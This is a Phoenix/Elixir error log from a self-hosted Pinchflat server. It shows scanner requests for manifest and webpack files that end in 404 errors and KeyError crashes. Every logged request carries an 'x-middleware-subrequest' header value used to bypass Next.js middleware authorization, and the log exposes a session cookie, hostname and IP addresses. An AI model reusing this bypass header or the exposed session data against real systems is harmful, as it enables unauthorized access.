{"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/webpack-stats.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61IJ3xp3oRjwAAH5D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29447.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webpack-stats.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33086}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_ (truncated) 16:49:02.417 [error] #PID<0.29451.0> running PinchflatWeb.Endpoint (connection #PID<0.29450.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /assets/manifest.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29450.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33100}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "script", "sec-fetch-mode" => "no-cors", "sec-fetch-site" => "same-origin", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29451.0>, params: %{}, path_info: ["assets", "manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"sec-ch-ua", "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "script"}, {"sec-fetch-mode", "no-cors"}, {"sec-fetch-site", "same-origin"}, {"user-agent", "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/assets/manifest.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61IKHugP5of8ABMSi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29450.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33100}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "script", "sec-fetch-mode" => "no-cors", "sec-fetch-site" => "same-origin", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29450.0>, port: 80, scheme: "http", version: (truncated) 16:49:02.430 [info] GET /static/manifest.json 16:49:02.430 [info] GET /asset-manifest.json 16:49:02.430 [debug] QUERY OK source="settings" db=0.0ms idle=14.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.430 [debug] QUERY OK source="settings" db=0.0ms idle=14.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.430 [debug] QUERY OK source="settings" db=0.0ms idle=14.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.430 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:02.431 [debug] QUERY OK source="settings" db=0.4ms idle=13.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.431 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:02.430 [error] #PID<0.29453.0> running PinchflatWeb.Endpoint (connection #PID<0.29452.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /static/manifest.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /static/manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29452.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33112}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29453.0>, params: %{}, path_info: ["static", "manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"sec-ch-ua", "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/static/manifest.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61INYKob7lrYABMTC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29452.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/static/manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33112}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: (truncated) 16:49:02.431 [error] #PID<0.29455.0> running PinchflatWeb.Endpoint (connection #PID<0.29454.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /asset-manifest.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /asset-manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29454.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/asset-manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33116}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29455.0>, params: %{}, path_info: ["asset-manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"sec-ch-ua", "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/asset-manifest.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61INamZBrKDwABMTi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29454.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/asset-manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33116}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, (truncated) 16:49:02.522 [info] GET /sppcy67bmslrlq9jtwy3 16:49:02.522 [debug] QUERY OK source="settings" db=0.1ms idle=105.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.523 [debug] QUERY OK source="settings" db=0.0ms idle=92.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.523 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:02.523 [error] #PID<0.29459.0> running PinchflatWeb.Endpoint (connection #PID<0.29458.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sppcy67bmslrlq9jtwy3 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sppcy67bmslrlq9jtwy3 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: 